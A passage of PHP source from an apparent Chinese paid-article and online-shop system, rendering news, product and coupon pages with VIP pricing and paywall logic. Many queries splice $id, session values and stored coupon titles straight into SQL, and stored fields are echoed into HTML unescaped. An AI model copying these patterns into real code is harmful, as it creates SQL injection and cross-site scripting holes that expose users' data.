		for($i=0;$i<count($lession);$i++){
			if(strpos($lession[$i],"_")!==false){
				$l=$l.$lession[$i]."||";
			}
		}

		$ptitle=splitx(splitx($l,"||",($page-1)),"__",0);
		$price=splitx(splitx($l,"||",($page-1)),"__",1);
		$video=splitx(splitx($l,"||",($page-1)),"__",2);

		$t = str_Replace("[S_id]",$row["S_id"],$t);
		$t = str_Replace("[C_id]",$row["C_id"],$t);
		$t = str_Replace("[C_title]",$row["C_title"],$t);
		$t = str_Replace("[C_ptitle]",$ptitle." - ".$row["C_title"],$t);
		$t = str_Replace("[C_pic]",pic($row["C_pic"]),$t);
		$t = str_Replace("[C_price]",$row["C_price"],$t);

		$t = str_Replace("[C_video]","",$t);
	}
	return $t;
}
function newsinfo($t){
	global $conn,$id,$C_n_discount,$C_n_discount2,$C_keyword,$C_description,$C_newsds;

	if($_SESSION["M_id"]!=""){
	  $H_id=getrs("select * from sl_history where H_hid=$id and H_mid=".$_SESSION["M_id"]." and H_type=1","H_id");
	  if($H_id!=""){
	      mysqli_query($conn,"update sl_history set H_time='".date('Y-m-d H:i:s')."' where H_id=$H_id");
	  }else{
	      mysqli_query($conn, "insert into sl_history(H_type,H_hid,H_mid,H_time) values(1,$id,".$_SESSION["M_id"].",'".date('Y-m-d H:i:s')."')");
	  }
	}

	$genkey=t($_GET["genkey"]);
	$sql="select * from sl_news,sl_nsort where N_sort=S_id and N_id=".$id;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if (mysqli_num_rows($result) > 0) {
		$t = str_Replace("[S_id]",$row["S_id"],$t);
		$t = str_Replace("[S_title]",$row["S_title"],$t);
		$t = str_Replace("[S_subid]",$row["S_sub"],$t);
		$t = str_Replace("[S_subtitle]",getrs("select * from sl_nsort where S_id=".$row["S_sub"],"S_title"),$t);
		$t = str_Replace("[N_id]",$row["N_id"],$t);
		$t = str_Replace("[N_collection]",getrs("select count(C_id) as C_count from sl_colletion where C_cid=".$row["N_id"]." and C_type=1","C_count"),$t);
		$t = str_Replace("[N_title]",$row["N_title"],$t);
		$t = str_Replace("[N_pic]",pic($row["N_pic"]),$t);
		$t = str_Replace("[N_sort]",$row["N_sort"],$t);
		$t = str_Replace("[N_view]",$row["N_view"],$t);
		$t = str_Replace("[N_author]",$row["N_author"],$t);
		$t = str_Replace("[N_date]",$row["N_date"],$t);
		$t = str_Replace("[N_price]",p($row["N_price"]),$t);
		if($row["N_keywords"]==""){
			$t = str_Replace("[N_keywords]",$C_keyword,$t);
		}else{
			$t = str_Replace("[N_keywords]",$row["N_keywords"],$t);
		}
		if($row["N_description"]==""){
			$t = str_Replace("[N_description]",$C_description,$t);
		}else{
			$t = str_Replace("[N_description]",$row["N_description"],$t);
		}
		$N_vshow=$row["N_vshow"];
		$N_ds=$row["N_ds"];
		$N_dsintro=$row["N_dsintro"];
		$N_content=editor_oss($row["N_content"]);

		if($row["N_video"]!=""){
			if(strpos($row["N_video"],"<")!==false){
			    $N_video=$row["N_video"];
			}else{
			    if(substr($row["N_video"],0,7)=="http://" || substr($row["N_video"],0,8)=="https://"){
			        $N_video="<video width=\"100%\" style=\"max-height:500px;background:#000000\" poster=\"".pic($row["N_pic"])."\" controls><source src=\"".$row["N_video"]."\" type=\"video/mp4\">您的浏览器不支持 video 标签。</video>";
			    }else{
			        $N_video="<video width=\"100%\" style=\"max-height:500px;background:#000000\" poster=\"".pic($row["N_pic"])."\" controls><source src=\"media/".$row["N_video"]."\" type=\"video/mp4\">您的浏览器不支持 video 标签。</video>";
			    }
			}
			if($N_vshow==0){
				$N_content="<div style=\"margin-bottom:10px;\">".$N_video."</div>".$N_content;
			}else{
				$N_content=$N_content."<div style=\"margin-top:10px;\">".$N_video."</div>";
			}
		}
		if($C_newsds!="" && $N_ds==1){
			$N_content=$N_content."<hr><div style=\"text-align:center;\"><div style=\"font-weight:bold;font-size:15px;\">".$N_dsintro."</div>".$C_newsds."</div>";
		}

		$N_price=p($row["N_price"]);
		$N_date=$row["N_date"];
		$N_long=$row["N_long"];
		$N_tag=$row["N_tag"];
		$tag=explode(" ",$N_tag);
        for($i=0;$i<count($tag);$i++){
        	if($tag[$i]!=""){
        		$tags=$tags."<a style=\"border:solid 1px #AAAAAA;display:inline-block;padding:2px 5px;border-radius:5px;margin:5px;font-size:12px;\" href=\"?type=news&tag=".$tag[$i]."\">".$tag[$i]."</a>";
        	}
    	}
    	if($N_tag!=""){
    		$t = str_Replace("[N_tag]","标签：".$tags,$t);
    	}else{
    		$t = str_Replace("[N_tag]","",$t);
    	}
		$length=mb_strlen(strip_tags($N_content),"utf-8");
		if(strpos($row["N_content"],"[fh_free]")!==false){
			$N_preview="<b>免费预览：</b>".splitx($row["N_content"],"[fh_free]",0)."<div style=\"border-bottom:1px solid #EEEEEE;padding-bottom:30px;margin-bottom:30px;\"></div>";
		}
	}


	$sql="select N_id,N_title from sl_news where N_id = (select N_id from sl_news where N_id < $id and N_del=0 and N_sh=1 order by N_top desc,N_order,N_id desc limit 1)";
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if($row["N_id"]==""){
		$N_Ntitle="没有了";
		$N_Nurl="javascript:;";
	}else{
		$N_Ntitle=$row["N_title"];
		$N_Nurl="?type=newsinfo&id=".$row["N_id"];
	}

	$sql="select N_id,N_title from sl_news where N_id = (select N_id from sl_news where N_id > $id and N_del=0 order by N_top asc,N_order desc,N_id asc limit 1)";
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if($row["N_id"]==""){
		$N_Ptitle="没有了";
		$N_Purl="javascript:;";
	}else{
		$N_Ptitle=$row["N_title"];
		$N_Purl="?type=newsinfo&id=".$row["N_id"];
	}

	$t = str_Replace("[N_Ntitle]",$N_Ntitle,$t);
	$t = str_Replace("[N_Nurl]",$N_Nurl,$t);
	$t = str_Replace("[N_Ptitle]",$N_Ptitle,$t);
	$t = str_Replace("[N_Purl]",$N_Purl,$t);

	if($N_price>0){//文章不免费
		if($N_long==0){//没开启了限时付费
			if(getrs("select * from sl_orders where O_content='".$genkey."' and O_nid=".$id,"O_id")!="" && $genkey!=""){//已免登录购买
				$N_tx=str_replace("[fh_free]","",$N_content);
			}else{
				if($_SESSION["M_id"]!=""){//登录了会员
					$sql = "Select * from sl_orders where O_del=0 and O_type=1 and O_state=1 and O_nid=".$id." and O_mid=".intval($_SESSION["M_id"]);
					$result = mysqli_query($conn, $sql);
					$row = mysqli_fetch_assoc($result);
					if (mysqli_num_rows($result) > 0) {//已购买
						$N_tx=str_replace("[fh_free]","",$N_content);
					} else {//没购买
						$sql="select * from sl_member where M_id=".intval($_SESSION["M_id"]);
						$result = mysqli_query($conn, $sql);
						$row = mysqli_fetch_assoc($result);
						$M_viptime=$row["M_viptime"];
						$M_viplong=$row["M_viplong"];
						if($M_viplong-(time()-strtotime($M_viptime))/86400>0){
							if($M_viplong>30000){
								$N_discount=$C_n_discount2/10;
							}else{
								$N_discount=$C_n_discount/10;
							}
						}else{
							$N_discount=1;
						}
						if($N_discount==0){//VIP会员0折
							$N_tx=str_replace("[fh_free]","",$N_content);
						}else{
							$N_tx=$N_preview.buynews("#f32196",$N_price,$id);
						}
					}
				}else{//没登录会员
					$N_tx=$N_preview.buynews("#f32196",$N_price,$id);
				}
			}
		}else{//开启了限时付费
			if(time()>strtotime("+$N_long hour",strtotime($N_date))){//已过收费期
				$N_tx=str_replace("[fh_free]","",$N_content);
			}else{//未过收费期
				$N_tx=$N_preview.buynews("#f32196",$N_price,$id);
			}
		}
	}else{//免费
		$N_tx=str_replace("[fh_free]","",$N_content);
	}
	$t = str_Replace("[N_content]","<div id=\"N_tx\">".$N_tx."</div>",$t);
	return $t;
}

function product($t){
	global $conn,$id,$C_keyword,$C_description;
	$M_id=intval($_GET["M_id"]);
	$sql="select * from sl_psort where S_id=".$id;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if (mysqli_num_rows($result) > 0) {
		$t = str_Replace("[S_id]",$row["S_id"],$t);
		$t = str_Replace("[S_sub]",$row["S_sub"],$t);
		$t = str_Replace("[S_pic]",pic($row["S_pic"]),$t);
		$t = str_Replace("[S_title]",$row["S_title"],$t);
		$t = str_Replace("[S_order]",$row["S_order"],$t);
		if($row["S_content"]==""){
			$t = str_Replace("[S_content]",$C_description,$t);
		}else{
			$t = str_Replace("[S_content]",$row["S_content"],$t);
		}
		if($row["S_keywords"]==""){
			$t = str_Replace("[S_keywords]",$C_keyword,$t);
		}else{
			$t = str_Replace("[S_keywords]",$row["S_keywords"],$t);
		}
	}else{
		if(intval($M_id)>0){
			$M=getrs("select * from sl_member where M_id=$M_id");
			$M_shop=$M["M_shop"];
			$M_head=$M["M_head"];
			$t = str_Replace("[S_id]","0",$t);
			$t = str_Replace("[S_title]",$M_shop,$t);
			$t = str_Replace("[S_content]",$M_shop,$t);
			$t = str_Replace("[S_keywords]",$M_shop,$t);
			$t = str_Replace("[S_pic]",pic($M_head),$t);
		}else{
			$t = str_Replace("[S_id]","0",$t);
			$t = str_Replace("[S_title]","全部商品",$t);
			$t = str_Replace("[S_keywords]","全部商品",$t);
			$t = str_Replace("[S_content]","ALL PRODUCT",$t);
			$t = str_Replace("[S_pic]",pic("nopic.png"),$t);
		}
	}
	return $t;
}

function productinfo($t){
	global $conn,$id,$C_notice,$C_keyword,$C_description,$C_p_discount,$C_p_discount2,$C_fx1,$C_fx2,$C_fx3,$config;

	if($_SESSION["M_id"]!=""){
	  $H_id=getrs("select * from sl_history where H_hid=$id and H_mid=".$_SESSION["M_id"]." and H_type=0","H_id");
	  if($H_id!=""){
	      mysqli_query($conn,"update sl_history set H_time='".date('Y-m-d H:i:s')."' where H_id=$H_id");
	  }else{
	      mysqli_query($conn, "insert into sl_history(H_type,H_hid,H_mid,H_time) values(0,$id,".$_SESSION["M_id"].",'".date('Y-m-d H:i:s')."')");
	  }
	}

	$B_count=getrs("select count(*) as B_count from sl_orders where O_del=0 and O_state>0 and O_pid=".$id,"B_count");
	$E_count=getrs("select count(*) as E_count from sl_evaluate,sl_orders where O_del=0 and E_del=0 and O_state>0 and E_oid=O_id and O_pid=$id","E_count");

	$sql="select * from sl_product,sl_psort where P_sort=S_id and P_id=".$id;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if (mysqli_num_rows($result) > 0) {
		$P_fx=$row["P_fx"];
		$P_price=$row["P_price"];
		$t = str_Replace("[S_title]",$row["S_title"],$t);
		$t = str_Replace("[S_id]",$row["S_id"],$t);
		$t = str_Replace("[S_subid]",$row["S_sub"],$t);
		$t = str_Replace("[S_subtitle]",getrs("select * from sl_psort where S_id=".$row["S_sub"],"S_title"),$t);
		$t = str_Replace("[P_id]",$row["P_id"],$t);
		$t = str_Replace("[P_collection]",getrs("select count(C_id) as C_count from sl_colletion where C_cid=".$row["P_id"]." and C_type=0","C_count"),$t);
		$t = str_Replace("[P_title]",$row["P_title"],$t);
		$t = str_Replace("[P_view]",$row["P_view"],$t);
		$t = str_Replace("[P_time]",$row["P_time"],$t);
		$t = str_Replace("[P_sold]",$row["P_sold"],$t);
		if($row["P_keywords"]==""){
			$t = str_Replace("[P_keywords]",$C_keyword,$t);
		}else{
			$t = str_Replace("[P_keywords]",$row["P_keywords"],$t);
		}
		if($row["P_description"]==""){
			$t = str_Replace("[P_description]",$C_description,$t);
		}else{
			$t = str_Replace("[P_description]",$row["P_description"],$t);
		}
		$t = str_Replace("[P_pic]",pic(splitx($row["P_pic"],"|",0)),$t);
		if($row["P_mid"]==0){
			$zy="<span style=\"font-size:12px;background:#c81623;border-radius:5px;padding:2px 3px;color:#ffffff;margin-right:5px;display:inline;\">自营</span>";
			$shop="<span style=\"font-size:12px;background:#c81623;border-radius:5px;padding:2px 3px;color:#ffffff;display:inline;margin:0 2px;\">官方自营店</span>";
		}else{
			$zy="";
			$shop="<a href=\"./?type=product&M_id=".intval($row["P_mid"])."\" style=\"font-size:12px;background:#0099ff;border-radius:5px;padding:2px 3px;color:#ffffff;display:inline;margin:0 2px;\">".getrs("select * from sl_member where M_id=".intval($row["P_mid"]),"M_shop")."</a>";
		}
		$t = str_Replace("[P_zy]",$zy,$t);
		$t = str_Replace("[P_shop]",$shop,$t);

		$P_content=editor_oss($row["P_content"]);

		if($P_fx==1 && $P_price>0 && ($C_fx1>0 || $C_fx2>0 || $C_fx3>0)){
			$P_content="<div style=\"padding:20px;margin-bottom:20px;background:url('images/pricebg.png')\">分享商品可得佣金【".($C_fx1*$P_price/100)."元】 <a style=\"float:right;background:#f32196;color:#ffffff;border-radius:5px;padding:0 5px\" href=\"conn/poster.php?type=product&id=$id&from=".intval($_SESSION["M_id"])."\">点击参与</a></div>".$P_content;
		}

		$P_vshow=$row["P_vshow"];

		if($row["P_shuxing"]!=""){
			$s=explode("\r",$row["P_shuxing"]);
			for($i=0;$i<count($s);$i++){
				$shuxing=$shuxing."<div style=\"width:33%;display:inline-block\">".$s[$i]."</div>";
			}
			$shuxing="<div style=\"background:#f7f7f7;border:solid 1px #DDDDDD;padding:20px;margin-bottom:10px;\"><p><b>商品参数：</b></p>".$shuxing."</div>";
		}
		if($row["P_video"]!=""){
			if(strpos($row["P_video"],"<")!==false){
			    $P_video=$row["P_video"];
			}else{
			    if(substr($row["P_video"],0,7)=="http://" || substr($row["P_video"],0,8)=="https://"){
			        $P_video="<video width=\"100%\" style=\"max-height:500px;background:#000000;\"  poster=\"".pic(splitx($row["P_pic"],"|",0))."\" controls><source src=\"".$row["P_video"]."\" type=\"video/mp4\">您的浏览器不支持 video 标签。</video>";
			    }else{
			        $P_video="<video width=\"100%\"  style=\"max-height:500px;background:#000000;\" poster=\"".pic(splitx($row["P_pic"],"|",0))."\" controls><source src=\"media/".$row["P_video"]."\" type=\"video/mp4\">您的浏览器不支持 video 标签。</video>";
			    }
			}
			if($P_vshow==0){
				$P_content="<div style=\"margin-bottom:10px;\">".$P_video."</div>".$P_content;
			}else{
				$P_content=$P_content."<div style=\"margin-bottom:10px;\">".$P_video."</div>";
			}
		}
		$t = str_Replace("[P_shuxing]",$shuxing,$t);
		$t = str_Replace("[P_content]",$P_content,$t);
		$t = str_Replace("[P_sort]",$row["P_sort"],$t);
		if($row["P_viponly2"]==1){
			$s="<a target=\"_blank\" href=\"member/vip.php\" style=\"font-size: 12px;border-radius: 5px;margin-left: 10px;margin-right: 10px;font-weight: bold;border:solid 1px #000000;\"><span style=\"padding: 0 3px;background: #000000;color: #FFCC00;\">仅限永久VIP购买</span></a>";
			$t = str_Replace("[P_vip]",$s,$t);
		}else{
			if($row["P_viponly"]==1){
				$s="<a target=\"_blank\" href=\"member/vip.php\" style=\"font-size: 12px;border-radius: 5px;margin-left: 10px;margin-right: 10px;font-weight: bold;border:solid 1px #000000;background: #fc0;\"><span style=\"padding: 0 3px;color: #000;\">仅限VIP购买</span></a>";
				$t = str_Replace("[P_vip]",$s,$t);
			}else{
				if($row["P_vip"]==1){//如果商品开启了参与VIP活动
					if($C_p_discount<10){//普通VIP有折扣
						$s="<span style=\"padding: 0 3px;background: #000000;color: #FFCC00;\">VIP￥<span id=\"price_v1\">".p($row["P_price"]*$C_p_discount/10)."</span></span>";
					}
					if($C_p_discount2<$C_p_discount){
						$s=$s."<span style=\"background:#FFCC00;color:#000000;padding: 0 3px;border-radius: 0 5px 5px 0;\">SVIP￥<span id=\"price_v2\">".p($row["P_price"]*$C_p_discount2/10)."<span></span>";
					}
					$s="<a target=\"_blank\" href=\"member/vip.php\" style=\"font-size: 12px;border-radius: 5px;margin-left: 10px;margin-right: 10px;font-weight: bold;border:solid 1px #000000;\">".$s."</a>";
					$t = str_Replace("[P_vip]",$s,$t);
				}else{
					$t = str_Replace("[P_vip]","",$t);
				}
			}
		}
		
		$t = str_Replace("[P_price]",p($row["P_price"]),$t);
		$t = str_Replace("[P_sell]",$row["P_sell"],$t);
		$t = str_Replace("[P_selltype]",$row["P_selltype"],$t);
		$t = str_Replace("[B_count]",$B_count,$t);
		$t = str_Replace("[E_count]",$E_count,$t);
		$P_price=$row["P_price"];
		$P_selltype=$row["P_selltype"];
		$P_sell=$row["P_sell"];
		$P_gg=$row["P_gg"];
		$P_ggsell=$row["P_ggsell"];
		$P_restx=$row["P_rest"];
		$P_tag=$row["P_tag"];
		$P_mid=$row["P_mid"];
		$tag=explode(" ",$P_tag);
        for($i=0;$i<count($tag);$i++){
        	$tags=$tags."<a style=\"border:solid 1px #AAAAAA;display:inline-block;padding:2px 5px;border-radius:5px;margin:5px;font-size:12px;\" href=\"?type=product&tag=".$tag[$i]."\">".$tag[$i]."</a>";
    	}
    	if($P_tag!=""){
    		$t = str_Replace("[P_tag]","标签：".$tags,$t);
    	}else{
    		$t = str_Replace("[P_tag]","",$t);
    	}

    	$sql="select Q_title,Q_pid from (select * from sl_quan where ((Q_fid=".$P_mid." and Q_pid=0) or (Q_pid=".$id." and Q_fid=".$P_mid.")) and Q_del=0 and Q_hide=0 and Q_gettime>now())b group by Q_title,Q_pid order by Q_pid asc";
		$result = mysqli_query($conn,  $sql);
		if (mysqli_num_rows($result) > 0) {
		while($row = mysqli_fetch_assoc($result)) {
				$Q=getrs("select * from sl_quan where Q_title='".$row["Q_title"]."'");
				$rest=getrs("select count(Q_id) as Q_count from sl_quan where Q_del=0 and Q_hide=0 and Q_mid=0 and Q_gettime>now() and Q_title='".$Q["Q_title"]."'","Q_count");
				if($Q["Q_pid"]>0){
					$P_info="商品优惠券";
				}else{
					$P_info="店铺优惠券";
				}

				if($Q["Q_discount"]>0){
					$D_info="".((100-$Q["Q_discount"])/10)."折";
				}else{
					$D_info="";
				}

				if($Q["Q_minuse"]>0){
					$M_info="".$Q["Q_minuse"]."元";
				}else{
					$M_info="";
				}

				if($_SESSION["M_id"]!="" && getrs("select * from sl_quan where Q_mid=".intval($_SESSION["M_id"])." and Q_title='".$Q["Q_title"]."'")){
					$btn="<span style=\"color:#f32196;border-bottom: 1px dotted #f32196;\">已领</span>";
				}else{
					$btn="<span id=\"quan_btn_".$Q["Q_id"]."\" style=\"color:#f32196;border-bottom: 1px dotted #f32196;cursor:pointer;\" onclick=\"getquan(".$Q["Q_id"].")\">领券</span> <span id=\"login_".$Q["Q_id"]."\"></span>";
				}

		        $quan=$quan."
		    <script>
			function getquan(id){
				\$.ajax({
		            url: \"conn/f.php?action=getquan&Q_id=\"+id,
		            success: function(data) {
		                data = JSON.parse(data);
		                if (data.code == \"success\") {
		                    \$(\"#quan_btn_\"+id).html(\"已领\");
		                    \$(\"#quan_btn_\"+id).attr(\"onclick\",\"\");
		                } else {
		                    alert(data.msg);
		                    if(data.msg==\"请先登录会员帐号！\"){
		                    	\$(\"#login_\"+id).html(\"<a style='color:#f32196;border-bottom: 1px dotted #f32196;cursor:pointer;' href='member/login.php?from=\"+encodeURIComponent(window.location.href)+\"'>登录</a>\");
		                    }
		                }
		            }
		        });
			}
			</script>
		        <div style=\"margin-bottom:8px;\"><span style=\"color:#f32196;border:solid 1px #f32196;border-radius:5px;padding:0 2px\"><span style=\"border-right: 1px dotted #f32196;padding-right:5px;margin-right:5px\">".$Q["Q_title"]."</span>".$P_info."</span> ".$M_info.$D_info."优惠券 满".$Q["Q_money"]."元可用 ".$btn."</div>";
		    }
		}
		if($quan!=""){
			if(!isMobile()){
				$quan="<div style=\"display:inline-block;width:50px;float:left\"><b>优惠</b></div><div style=\"display:inline-block;width:calc(100% - 50px);font-size:12px\">".$quan."</div>";
			}
		}
		if($config->quan=="true"){
			$t = str_Replace("[P_quan]",$quan,$t);
		}else{
			$t = str_Replace("[P_quan]","",$t);
		}

    	$P_js = "
			<script>
			var P_price=$P_price;
			\$(function() {
			\$('#buy label').click(function(){
				var aa = \$(this).attr('aa');\$('[aa='+aa+']').removeAttr('class') ;\$(this).attr('class','checked');
				if(\$(this).attr(\"data-pic\")!=''){
					\$(\"#P_pic\").attr(\"src\",\$(this).attr(\"data-pic\"));
				}
			});
			\$(\"#buy label[data-title]\").click(function(){
				\$(\"label[class='checked'][data-title]\").each(function(i){

			        if(0==i){
			        	if(\$(this).attr(\"data-price\").substr(0,1)==\"*\"){
			        		q = Number(\$(this).attr(\"data-price\").substr(1));
			        		p = 0;
			        	}else{
			        		q = 1;
			        		p = Number(\$(this).attr(\"data-price\"));
			        	}
			            t = \$(this).attr(\"data-title\");
			        }else{
			        	if(\$(this).attr(\"data-price\").substr(0,1)==\"*\"){
			        		q = q * Number(\$(this).attr(\"data-price\").substr(1));
			        	}else{
			        		p = p + Number(\$(this).attr(\"data-price\"));
			        	}
			            t=t+\" \"+\$(this).attr(\"data-title\");
			        }
			    });
				\$(\"#price\").html(((P_price+p)*q).toFixed(2));
				\$(\"#price_v1\").html(((P_price+p)*q*".($C_p_discount/10).").toFixed(2));
				\$(\"#price_v2\").html(((P_price+p)*q*".($C_p_discount2/10).").toFixed(2));
				\$(\"#gg_title\").html(t);

				if(\$(this).attr(\"aa\").split(\"_\")[1]==0){
					\$(\"#gg_rest\").html(\$(this).attr(\"data-restTitle\"));
					\$(\"#buy #plus\").attr(\"onClick\",\"javascript:if(this.form.amount.value<\"+\$(this).attr(\"data-rest\")+\"){this.form.amount.value++;}\");
					if(\$(this).attr(\"data-rest\")<\$(\"#amount\").val()){
						\$(\"#amount\").val(\$(this).attr(\"data-rest\"));
					}
					if(\$(this).attr(\"data-rest\")==0){
						\$(\"#buy button\").attr(\"disabled\",\"true\");
						\$(\"#buy button\").html(\"暂时缺货\");
						\$(\"#buy input[type='submit']\").attr(\"disabled\",\"true\");
						\$(\"#buy input[type='submit']\").attr(\"value\",\"暂时缺货\");
					}else{
						\$(\"#buy button\").removeAttr(\"disabled\");
						\$(\"#buy #cart_btn\").html(\"加入购物车\");
						\$(\"#buy input[type='submit']\").removeAttr(\"disabled\");
						\$(\"#buy input[type='submit']\").attr(\"value\",\"立即购买\");
					}
				}
			 }); 
			\$(\"#buy div\").find(\"label:first\").addClass(\"checked\");
			\$(\"#buy div\").find(\"input:first\").attr(\"checked\",\"checked\");
			\$(\"#buy div\").find(\"label:first\").trigger(\"click\");
			})
			</script>
            <style>
            input[type='radio'] {display: none;}
            #buy label {line-height:150%;display:inline-block;margin-bottom:5px;padding:2px 10px;cursor: pointer;border: #CCCCCC solid 2px;border-radius: 3px;}
            #buy .checked {border: #f32196 solid 2px;border-radius: 3px;color: #fff;background:#f32196}
            #buy label .text{font-size:12px;text-align:center;padding-top:3px;margin:0 -10px;width:75px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
            #buy label img{width:75px;height:75px;margin:-2px -10px}
            </style>";
            $shuxing = explode("@", $P_gg);
            if($P_gg!=""){
                for ($j = 0; $j < count($shuxing); $j++) {
                    if ($shuxing[$j] != "__") {
                        $P_sc = $P_sc . "<div style=\"margin-bottom:5px;\"><div style=\"display:inline-block;width:50px;float:left\"><b>" . splitx($shuxing[$j], "_", 0) . "</b></div> <div style=\"display:inline-block;width:calc(100% - 50px)\">";
                        $P_sc2 = $P_sc2 . "<b>" . splitx($shuxing[$j], "_", 0) . "</b> ";
                        $sc = explode("|", splitx($shuxing[$j], "_", 1));
                        $pc = explode("|", splitx($shuxing[$j], "_", 3));
                        $gg_price=explode("|", splitx($shuxing[$j], "_", 2));
                        for ($i = 0; $i < count($sc); $i++) {
                        	if($P_ggsell!=""){
	                        	$gg_sell=explode("\n", $P_ggsell);
	                        	switch(splitx($gg_sell[$i],"|",0)){
	                        		case 0:
	                        		$gg_rest=999999999;
	                        		$gg_rest_title="充足";
	                        		break;
	                        		case 1:
	                        		$gg_rest=getrs("select count(C_id) as C_count from sl_card where C_use=0 and C_del=0 and C_sort=".intval(splitx($gg_sell[$i],"|",1)),"C_count");
	                        		$gg_rest_title=getrs("select count(C_id) as C_count from sl_card where C_use=0 and C_del=0 and C_sort=".intval(splitx($gg_sell[$i],"|",1)),"C_count")."件";
	                        		break;
	                        		case 2:
	                        		$gg_rest=$P_restx;
	                        		$gg_rest_title=$P_restx."件";
	                        		break;
	                        	}
                        	}else{
							    switch ($P_selltype) {
									case 0:
										$gg_rest_title="充足";
										$gg_rest=999999999;
										break;

										case 1:
										$gg_rest_title=getrs("select count(C_id) as C_count from sl_card where C_sort=".intval($P_sell)." and C_use=0 and C_del=0","C_count")."件";
										$gg_rest=getrs("select count(C_id) as C_count from sl_card where C_sort=".intval($P_sell)." and C_use=0 and C_del=0","C_count");
										break;

										case 2:
										$gg_rest_title=$P_restx."件";
										$gg_rest=$P_restx;
										break;
								}
                        	}
                        	if($pc[$i]!=""){
                        		if(isMobile()){
                        			$P_sc = $P_sc . "<label data-pic='media/".$pc[$i]."' data-title='".$sc[$i]."' data-rest='".$gg_rest."' data-restTitle='".$gg_rest_title."' data-price='".p($gg_price[$i])."' aa='scvvvvv_" . $j . "'><input type='radio' name='scvvvvv_" . $j . "' id='" . $j . "_" . $i . "' value='" . $i . "'> <img src='media/".$pc[$i]."' title='".$sc[$i]."'><div class='text'>".$sc[$i]."</div></label> ";
                        		}else{
                        			$P_sc = $P_sc . "<label data-pic='media/".$pc[$i]."' data-title='".$sc[$i]."' data-rest='".$gg_rest."' data-restTitle='".$gg_rest_title."' data-price='".p($gg_price[$i])."' aa='scvvvvv_" . $j . "'><input type='radio' name='scvvvvv_" . $j . "' id='" . $j . "_" . $i . "' value='" . $i . "'> <img src='media/".$pc[$i]."' style='width:38px;height:38px;margin:-1px -9px' title='".$sc[$i]."'></label> ";
                        		}
                        		
                        	}else{
                        		$P_sc = $P_sc . "<label data-pic='' data-title='".$sc[$i]."' data-rest='".$gg_rest."' data-restTitle='".$gg_rest_title."' data-price='".p($gg_price[$i])."' aa='scvvvvv_" . $j . "'><input type='radio' name='scvvvvv_" . $j . "' id='" . $j . "_" . $i . "' value='" . $i . "'> " . $sc[$i] . "</label> ";
                        	}
                            
                            $P_sc2 = $P_sc2 . $sc[$i] . " / ";
                        }
                        $P_sc = $P_sc . "</div></div>";
                        $P_sc2 = substr($P_sc2, 0, strlen($P_sc2) - 2);
                        $P_sc2 = $P_sc2 . "<br>";
                    }
                }
            }

			$gg=$gg.$P_js.$P_sc;
			$t = str_Replace("[P_gg]",$gg,$t);
	}

	switch ($P_selltype) {
		case 0:
			$P_resttitle="充足";
			$P_rest=999999999;
			break;

			case 1:
			$P_resttitle=getrs("select count(C_id) as C_count from sl_card where C_sort=".intval($P_sell)." and C_use=0 and C_del=0","C_count")."件";
			$P_rest=getrs("select count(C_id) as C_count from sl_card where C_sort=".intval($P_sell)." and C_use=0 and C_del=0","C_count");
			break;

			case 2:
			$P_resttitle=$P_restx."件";
			$P_rest=$P_restx;
			break;
	}


	$sql="select P_id,P_title from sl_product where P_id = (select P_id from sl_product where P_id < $id and P_del=0 order by P_id desc limit 1)";
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if($row["P_id"]==""){
		$P_Ntitle="没有了";
		$P_Nurl="javascript:;";
	}else{
		$P_Ntitle=$row["P_title"];
		$P_Nurl="?type=productinfo&id=".$row["P_id"];
	}

	$sql="select P_id,P_title from sl_product where P_id = (select P_id from sl_product where P_id > $id and P_del=0 order by P_id asc limit 1)";
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if($row["P_id"]==""){
		$P_Ptitle="没有了";
		$P_Purl="javascript:;";
	}else{
		$P_Ptitle=$row["P_title"];
		$P_Purl="?type=productinfo&id=".$row["P_id"];
	}

	$t = str_Replace("[P_resttitle]",$P_resttitle,$t);
	$t = str_Replace("[P_rest]",$P_rest,$t);
	$t = str_Replace("[P_Ntitle]",$P_Ntitle,$t);
	$t = str_Replace("[P_Nurl]",$P_Nurl,$t);
	$t = str_Replace("[P_Ptitle]",$P_Ptitle,$t);
	$t = str_Replace("[P_Purl]",$P_Purl,$t);

	if($_SESSION["M_id"]==""){
		$fh_info="";
	}else{
		if($P_selltype==0 || $P_selltype==1){
			$fh_info="<div class=\"P_address\">[自动发货] 收件邮箱：".getrs("select * from sl_member where M_id=".$_SESSION["M_id"],"M_email")." <a href=\"member/edit.php\" target=\"_balnk\">[编辑]</a></div>";
		}else{

			$sql="select * from sl_address where A_del=0 and A_mid=".$_SESSION["M_id"];
			$result = mysqli_query($conn, $sql);
			
			if (mysqli_num_rows($result) > 0) {
				while($row = mysqli_fetch_assoc($result)) {
					if($row["A_default"]==1){
						$d="checked=\"checked\"";
					}else{
						$d="";
					}
					$fh=$fh."<p><label aa=\"A_address\"><input type=\"radio\" name=\"A_address\" value=\"".$row["A_id"]."\" ".$d."> ".$row["A_address"]." ".$row["A_name"]." ".$row["A_phone"]."</label></p>";
				}
				$fh_info="<div class=\"P_address\">选择收货地址 <a href=\"member/address.php\" target=\"_balnk\">[编辑]</a>：".$fh."  </div>";
			}else{
				$fh_info="<div class=\"P_address\">选择收货地址 <a href=\"member/address.php\" target=\"_balnk\">[新增]</a>：<p><label aa=\"A_address\"><input value=\"0\" type=\"radio\" name=\"A_address\" checked=\"checked\">暂无，请点击新增</label></p> </div>";
			}
		}
	}
	$t = str_Replace("[fh_address]","<style>.P_address{padding:10px;margin:10px 0;border:dashed 1px #DDDDDD;width:100%;border-radius:10px;box-shadow:0px 2px 10px #CCCCCC}</style>".$fh_info,$t);
	return $t;
}

function buynews($color,$N_price,$id){
  global $conn,$C_n_discount,$C_n_discount2,$C_fx1,$C_fx2,$C_fx3;
  $genkey=date('YmdHis').rand(100000,999999).rand(100000,999999);
  $sql="select * from sl_member where M_id=".intval($_SESSION["M_id"]);
    $result = mysqli_query($conn, $sql);
    $row = mysqli_fetch_assoc($result);
    if (mysqli_num_rows($result) > 0) {

      $M_viptime=$row["M_viptime"];
